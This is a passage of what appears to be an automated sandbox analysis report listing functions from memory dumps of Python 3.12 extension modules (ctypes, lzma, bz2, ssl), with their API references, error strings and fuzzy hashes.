_Py_Dealloc.PYTHON312(?,?,?,00007FFE1025086D,?,?,?,00007FFE1025081A,?,?,?,?,?,00007FFE102507A5), ref: 00007FFE10255CD7

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: DeallocFromLong$Dict_InternItemLong_StringUnicode_Unsigned
String ID:
API String ID: 252187852-0
Opcode ID: 4407cb7e2ae5907235722564fec9c5a3f52f4cf3bc80c1b274a729e09646330d
Instruction ID: bf89882ee019cb3ed3e1255d6e21369659c24db800de1423404d925d1663ec78
Opcode Fuzzy Hash: 4407cb7e2ae5907235722564fec9c5a3f52f4cf3bc80c1b274a729e09646330d
Instruction Fuzzy Hash: 47111FB1D1CE8281FA154B2399542B92A90AF85FF5F0440B1EB0D967ABFF7CA841C709

Function 00007FFE133838E0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 259COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON312 ref: 00007FFE1338399B
PyErr_SetString.PYTHON312 ref: 00007FFE13388B2A
_Py_Dealloc.PYTHON312 ref: 00007FFE13388B3E

Strings

has no _stginfo_, xrefs: 00007FFE133889BD, 00007FFE13388B20

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: DeallocErr_StringSubtypeType_
String ID: has no _stginfo_
API String ID: 402260271-2912685656
Opcode ID: 346198049cc3369ab5d89d5361c2d31cfc246b9802f836b475af46ffebfa8982
Instruction ID: bfdd071dbc6a9d503da2077dcdaf1ade01a6426020a5f913a3bb8db99a36ee07
Opcode Fuzzy Hash: 346198049cc3369ab5d89d5361c2d31cfc246b9802f836b475af46ffebfa8982
Instruction Fuzzy Hash: 9AB1A076A09F81C9EA648F26E44027D73A5FBA4BA0F0445B5CA6E67B74DF3CE491C304

Function 00007FFE11EA39F4 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 108COMMON

Download Yara Rule

Strings

{0x%08x, 0x%08x}, xrefs: 00007FFE11EAB9DD
combined CRCs: stored = 0x%08x, computed = 0x%08x, xrefs: 00007FFE11EABA31

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID:
String ID: combined CRCs: stored = 0x%08x, computed = 0x%08x$ {0x%08x, 0x%08x}
API String ID: 0-2474432645
Opcode ID: beca674fd8db362ae3c326a262006269a39a6cc495ac54829b8af714453b82f3
Instruction ID: 58de48212422a9280cf71935ab7b2eab9bd63a25a6d1c255c0607bdf143ddc14
Opcode Fuzzy Hash: beca674fd8db362ae3c326a262006269a39a6cc495ac54829b8af714453b82f3
Instruction Fuzzy Hash: B041F731E0CD5286FB648FB6B86027A7298EF40B74F1456B5D90E872E5DF7CA840C710

Function 00007FFE11EC7378 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

_PyArg_UnpackKeywords.PYTHON312 ref: 00007FFE11EC740F
_PyArg_BadArgument.PYTHON312 ref: 00007FFE11EC7455
PyObject_IsTrue.PYTHON312 ref: 00007FFE11EC7461

Strings

argument 'sock', xrefs: 00007FFE11EC743C
_wrap_socket, xrefs: 00007FFE11EC7446

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: Arg_$ArgumentKeywordsObject_TrueUnpack
String ID: _wrap_socket$argument 'sock'
API String ID: 2318005752-3343203394
Opcode ID: 03c0cddde99a3229f31b4b230c278ac7fb814f533f87b44c54c8f0cc6a44e6f6
Instruction ID: 104ab7050957ec44a247d701c8f33e47036cfac7235e04903b108e2684fb053a
Opcode Fuzzy Hash: 03c0cddde99a3229f31b4b230c278ac7fb814f533f87b44c54c8f0cc6a44e6f6
Instruction Fuzzy Hash: EE418D22B19E4296EB518B97EC4076AABA8FB44BE4F840076EE0C47B64DF3CE4558340

Function 00007FFE133825E0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

PyMem_Malloc.PYTHON312(?,?,?,?,?,?,?,?,00000000,00000000,00000000,00000001,?,00007FFE1338374B), ref: 00007FFE1338262D
PyMem_Free.PYTHON312(?,?,?,?,?,?,?,?,00000000,00000000,00000000,00000001,?,00007FFE1338374B), ref: 00007FFE1338271B

Strings

%zd,, xrefs: 00007FFE1338269A
%zd), xrefs: 00007FFE133826A8

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Mem_$FreeMalloc
String ID: %zd)$%zd,
API String ID: 3308143561-2233965340
Opcode ID: 3011e898c98d0b0f0c7ddc4a1d896892172aad39de59dec5b9d1e953a48331c6
Instruction ID: 2a988f59f32140ae1284901ab16ff15c69ad3d54bf1af9d3314d191892b2bbf4
Opcode Fuzzy Hash: 3011e898c98d0b0f0c7ddc4a1d896892172aad39de59dec5b9d1e953a48331c6
Instruction Fuzzy Hash: 8B41C816A08B8189EF018F17A41027D67A1FB65BE4F4402F5DE6EA7BA1DF7DD045C304

Function 00007FFE10250A68 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

PySequence_Size.PYTHON312(00000000,?,00000000,00007FFE10250A18), ref: 00007FFE10250A94
PySequence_GetItem.PYTHON312(?,00000000,00007FFE10250A18), ref: 00007FFE10250AC7

Part of subcall function 00007FFE10250B5C: PyMapping_Check.PYTHON312(?,?,?,00000028,00007FFE10250AE3,?,00000000,00007FFE10250A18), ref: 00007FFE10250B81
Part of subcall function 00007FFE10250B5C: PyMapping_GetItemString.PYTHON312(?,?,?,00000028,00007FFE10250AE3,?,00000000,00007FFE10250A18), ref: 00007FFE10250B9B
Part of subcall function 00007FFE10250B5C: PyLong_AsUnsignedLongLong.PYTHON312(?,?,?,00000028,00007FFE10250AE3,?,00000000,00007FFE10250A18), ref: 00007FFE10250BB0
Part of subcall function 00007FFE10250B5C: PyErr_Occurred.PYTHON312(?,?,?,00000028,00007FFE10250AE3,?,00000000,00007FFE10250A18), ref: 00007FFE10250BC7

PyErr_Format.PYTHON312(?,00000000,00007FFE10250A18), ref: 00007FFE10255D09

Strings

Too many filters - liblzma supports a maximum of %d, xrefs: 00007FFE10255CF9

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Err_ItemLongMapping_Sequence_$CheckFormatLong_OccurredSizeStringUnsigned
String ID: Too many filters - liblzma supports a maximum of %d
API String ID: 1062705235-2617632755
Opcode ID: ccf5a64d07049f618c25ab74cbb4974c3106e7c7554985af56aab865a0a260af
Instruction ID: b9175a05f9be76392f92db4145b19bcacdf44b2926350cd459597592fe2516da
Opcode Fuzzy Hash: ccf5a64d07049f618c25ab74cbb4974c3106e7c7554985af56aab865a0a260af
Instruction Fuzzy Hash: FB319EA1B08F4285EA149B17AC801B96A50AB85BF8F1443B0EF3D537E6EE7CE441C308

Function 00007FFE133822D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE133823D0: _PyThreadState_GetCurrent.PYTHON312(?,?,?,?,?,00007FFE13381F6C), ref: 00007FFE133823DD
Part of subcall function 00007FFE133823D0: _PyObject_MakeTpCall.PYTHON312 ref: 00007FFE1338241C

Part of subcall function 00007FFE13383B80: PyMem_Malloc.PYTHON312 ref: 00007FFE13383BC0

PyDict_Update.PYTHON312 ref: 00007FFE1338236A
_Py_Dealloc.PYTHON312 ref: 00007FFE13382392
_Py_Dealloc.PYTHON312 ref: 00007FFE133876D0
_Py_Dealloc.PYTHON312 ref: 00007FFE133876F1

Strings

X{}, xrefs: 00007FFE13382316

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$CallCurrentDict_MakeMallocMem_Object_State_ThreadUpdate
String ID: X{}
API String ID: 2477835321-2140212134
Opcode ID: 29b4eca97831da1a9f5db197cb8a49c76dc46d3daaf23c713663a80f0013cb8a
Instruction ID: ee594a0e0e98bc5ec45fb0232aa33883891ab6cad830f6bdc3c24a2923d5a428
Opcode Fuzzy Hash: 29b4eca97831da1a9f5db197cb8a49c76dc46d3daaf23c713663a80f0013cb8a
Instruction Fuzzy Hash: 16317031A08F42C9EB054F27955427C22A1EF65BB4F1452F1DA6EA6BB0DF7CE0D08304

Function 00007FFE1338AC7C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FFE1338ACA7
PyObject_IsInstance.PYTHON312 ref: 00007FFE1338ACE2
PyErr_Format.PYTHON312 ref: 00007FFE1338AD12

Strings

expected %s instead of %s, xrefs: 00007FFE1338ACF5
Pointer does not support item deletion, xrefs: 00007FFE1338AC9D

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_$FormatInstanceObject_String
String ID: Pointer does not support item deletion$expected %s instead of %s
API String ID: 341772743-2046472288
Opcode ID: 2456c7af7fe58683b08252c5e86ae7c75fff7b4598322ee95447fed2162cfda1
Instruction ID: a3d8fd4e6b010b60c2e04cb5a46a749d021c75daeca56afeede40ddc7852be2e
Opcode Fuzzy Hash: 2456c7af7fe58683b08252c5e86ae7c75fff7b4598322ee95447fed2162cfda1
Instruction Fuzzy Hash: DC216171A08F428AEA049F2BD4501BD2371AF65BA4B1442B5DD2EA7BB5DF3CE4868304

Function 00007FFE102520DC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

PyErr_Occurred.PYTHON312 ref: 00007FFE10252132
PyErr_Format.PYTHON312 ref: 00007FFE102560C4

Strings

Invalid compression preset: %u, xrefs: 00007FFE102560BA
Invalid filter chain for FORMAT_ALONE - must be a single LZMA1 filter, xrefs: 00007FFE10256117

Memory Dump Source

Source File: 00000001.00000002.2089791994.00007FFE10241000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FFE10240000, based on PE: true

Associated: 00000001.00000002.2089773823.00007FFE10240000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE10258000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089815185.00007FFE1025C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089856736.00007FFE10264000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2089876376.00007FFE10265000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe10240000_file.jbxd

Similarity

API ID: Err_$FormatOccurred
String ID: Invalid compression preset: %u$Invalid filter chain for FORMAT_ALONE - must be a single LZMA1 filter
API String ID: 4038069558-4068623215
Opcode ID: 42de15237a213d44223ebd833c4df5f098df34b0787ac9d39a2d3eb57667bed4
Instruction ID: 117976fd0498c3a9bba5c25ea748485446e7e595809f37f9cb2d7c77c8bc250b
Opcode Fuzzy Hash: 42de15237a213d44223ebd833c4df5f098df34b0787ac9d39a2d3eb57667bed4
Instruction Fuzzy Hash: CB216491A1CE4241EA209B22A8453FA1A50BFCABB4F405271EB5E477F3FE6CE405C704

Function 00007FFE1338E6FC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON312 ref: 00007FFE1338E722
PyLong_FromLong.PYTHON312 ref: 00007FFE1338E78D
_Py_Dealloc.PYTHON312 ref: 00007FFE1338E7AA
_Py_Dealloc.PYTHON312 ref: 00007FFE1338E7C4

Strings

OO:CopyComPointer, xrefs: 00007FFE1338E715

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dealloc$Arg_FromLongLong_ParseTuple
String ID: OO:CopyComPointer
API String ID: 1908940310-822416302
Opcode ID: 2c196d946618d012f0087d7c3df2e88e860f2c01bbcea9b24dd7abbf39cf95d3
Instruction ID: 6e61b64efe7827505c56c85e87ef2cbdfcb6818c5dca09fb293c347ffd84c337
Opcode Fuzzy Hash: 2c196d946618d012f0087d7c3df2e88e860f2c01bbcea9b24dd7abbf39cf95d3
Instruction Fuzzy Hash: A1212636A04E02C9FB159F72D8401BC3765AB54BB8F0847B5EA2E66AB4CE3CD4858314

Function 00007FFE11EA3774 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

PyType_GetModuleByDef.PYTHON312 ref: 00007FFE11EA37A3
PyModule_GetState.PYTHON312 ref: 00007FFE11EA37AC
_PyArg_NoPositional.PYTHON312 ref: 00007FFE11EA37DC
_PyArg_NoKeywords.PYTHON312 ref: 00007FFE11EA37FE

Strings

BZ2Decompressor, xrefs: 00007FFE11EA37D5, 00007FFE11EA37F7

Memory Dump Source

Source File: 00000001.00000002.2089915841.00007FFE11EA1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFE11EA0000, based on PE: true

Associated: 00000001.00000002.2089896834.00007FFE11EA0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089938398.00007FFE11EAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089958025.00007FFE11EB2000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000001.00000002.2089976007.00007FFE11EB3000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ea0000_file.jbxd

Similarity

API ID: Arg_$KeywordsModuleModule_PositionalStateType_
String ID: BZ2Decompressor
API String ID: 2980520244-1337346095
Opcode ID: f57c856a1eaa85dad08e037339d259dc31bffbd300076d52cdc827e69f7ac027
Instruction ID: 253b6e7f2bcc6b520ed313c3059ee5212caa67cc98cc9373bd959ffa7228b20a
Opcode Fuzzy Hash: f57c856a1eaa85dad08e037339d259dc31bffbd300076d52cdc827e69f7ac027
Instruction Fuzzy Hash: C3211822A08E5285EB508B93FC405BBA7A9FB44FA4F4944B2DE4D077B4DE7CE4958300

Function 00007FFE13385AB8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

PyDict_Next.PYTHON312 ref: 00007FFE13389BF0
PyErr_SetString.PYTHON312 ref: 00007FFE13389C10

Strings

args not a tuple?, xrefs: 00007FFE13389BFF
too many initializers, xrefs: 00007FFE13389BB5

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Dict_Err_NextString
String ID: args not a tuple?$too many initializers
API String ID: 1977209248-2791065560
Opcode ID: 1978ed159024bd00911aa804e137e9e8946aab2783bc282a772575f842f251f0
Instruction ID: e091163bee2a9539d6eacf57a87fed9b513a803bebd61dfad3e034208cf69315
Opcode Fuzzy Hash: 1978ed159024bd00911aa804e137e9e8946aab2783bc282a772575f842f251f0
Instruction Fuzzy Hash: BC213E61A08E42C5EA518B17E48037D63A1FB64BF4F1453B1E97D62AF8DF7CD4858704

Function 00007FFE1338EBB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

PySys_Audit.PYTHON312 ref: 00007FFE1338EBD2
PyArg_ParseTuple.PYTHON312 ref: 00007FFE1338EC10
_Py_Dealloc.PYTHON312 ref: 00007FFE1338EC4B
PyLong_FromLong.PYTHON312 ref: 00007FFE1338EC53

Strings

ctypes.set_errno, xrefs: 00007FFE1338EBC1

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Arg_AuditDeallocFromLongLong_ParseSys_Tuple
String ID: ctypes.set_errno
API String ID: 928689845-1564666054
Opcode ID: 22f887da87baf153f8ed305e9c70dda91b08a6d50ee776239728f2f6adc63c24
Instruction ID: dd9833c8df6e235466f8391ce2520f14d6e973c19dcf18075dcd0b0145ac4ebc
Opcode Fuzzy Hash: 22f887da87baf153f8ed305e9c70dda91b08a6d50ee776239728f2f6adc63c24
Instruction Fuzzy Hash: 6711C461E18E42CAEB044B63E88407A2371BF647B0F4850B5DA3E667B0DE2CE4C4C718

Function 00007FFE1338EC64 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON312 ref: 00007FFE1338EC10
_Py_Dealloc.PYTHON312 ref: 00007FFE1338EC4B
PyLong_FromLong.PYTHON312 ref: 00007FFE1338EC53
PySys_Audit.PYTHON312 ref: 00007FFE1338EC7E

Strings

ctypes.set_last_error, xrefs: 00007FFE1338EC6D

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Arg_AuditDeallocFromLongLong_ParseSys_Tuple
String ID: ctypes.set_last_error
API String ID: 928689845-913187751
Opcode ID: 5710c6b548bbcad89bc9856f01982da615fd9b312d50c4c9e3ebff06e5af7332
Instruction ID: 367de8c49668e3c84c03ec0b622e31edbb6d152c7112570b63335730a411264c
Opcode Fuzzy Hash: 5710c6b548bbcad89bc9856f01982da615fd9b312d50c4c9e3ebff06e5af7332
Instruction Fuzzy Hash: 3711E361E08E02CAEB145B53E8841B927B1BF657A0F4840B5CA3E667B0DE2CE5C48718

Function 00007FFE1338C244 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE13383EA8: PyType_IsSubtype.PYTHON312(?,?,?,?,00007FFE13381358), ref: 00007FFE13383EC1

PyUnicode_AsUTF8.PYTHON312 ref: 00007FFE1338C29C
strchr.VCRUNTIME140 ref: 00007FFE1338C2AC
PyErr_Format.PYTHON312 ref: 00007FFE1338C2E2

Strings

PzZ, xrefs: 00007FFE1338C2A2
'out' parameter %d must be a pointer type, not %s, xrefs: 00007FFE1338C2D5

Memory Dump Source

Source File: 00000001.00000002.2090443635.00007FFE13381000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE13380000, based on PE: true

Associated: 00000001.00000002.2090425781.00007FFE13380000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090483624.00007FFE13391000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090517164.00007FFE13398000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2090572729.00007FFE1339E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe13380000_file.jbxd

Similarity

API ID: Err_FormatSubtypeType_Unicode_strchr
String ID: 'out' parameter %d must be a pointer type, not %s$PzZ
API String ID: 3500358371-2360062653
Opcode ID: 5aa505ecf206badb5bdd661de281f6e210446aafb78e4d54a8afd1b8e6883732
Instruction ID: 0a88e352c71e3953308d27390d557ddaf677274d7c2d6031d64163a542e3c085
Opcode Fuzzy Hash: 5aa505ecf206badb5bdd661de281f6e210446aafb78e4d54a8afd1b8e6883732
Instruction Fuzzy Hash: 73115121A08E42D8EF009B97E48027C63A1EF78BA4F4441F5D92E67BB5DF2CE484C308

Function 00007FFE11EC4410 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE11EC3AD8: PyType_IsSubtype.PYTHON312 ref: 00007FFE11EC3AE5

_Py_Dealloc.PYTHON312 ref: 00007FFE11EC4453
SSL_set_SSL_CTX.LIBSSL-3 ref: 00007FFE11EC4465
SSL_set_msg_callback.LIBSSL-3 ref: 00007FFE11EC4487
PyErr_SetString.PYTHON312 ref: 00007FFE11EC44A2

Strings

The value must be a SSLContext, xrefs: 00007FFE11EC4498

Memory Dump Source

Source File: 00000001.00000002.2090014963.00007FFE11EC1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFE11EC0000, based on PE: true

Associated: 00000001.00000002.2089995664.00007FFE11EC0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090035870.00007FFE11ECD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090060351.00007FFE11EE0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090079121.00007FFE11EE1000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090097048.00007FFE11EE7000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000001.00000002.2090115365.00007FFE11EE9000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe11ec0000_file.jbxd

Similarity

API ID: DeallocErr_L_set_L_set_msg_callbackStringSubtypeType_
String ID: The value must be a SSLContext
API String ID: 40619448-677980480
Opcode ID: 05587ad7c294506a30f15ef8291ccc118e8fbb3a541653ab8016d36ec2c8b0f2
Instruction ID: 255e4cb758fcc25dded5e6ee9a4931f780097fce019d1fe97aa4dd758d5be547
Opcode Fuzzy Hash: 05587ad7c294506a30f15ef8291ccc118e8fbb3a541653ab8016d36ec2c8b0f2
Instruction Fuzzy Hash: C11119B6A08E4681EB148F6AED8422E73B9FB88FE4B945171CE5D87374CE2DE454C340

Function 00007FFE1338CB64 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44stringCOMMON

Download Yara Rule

APIs

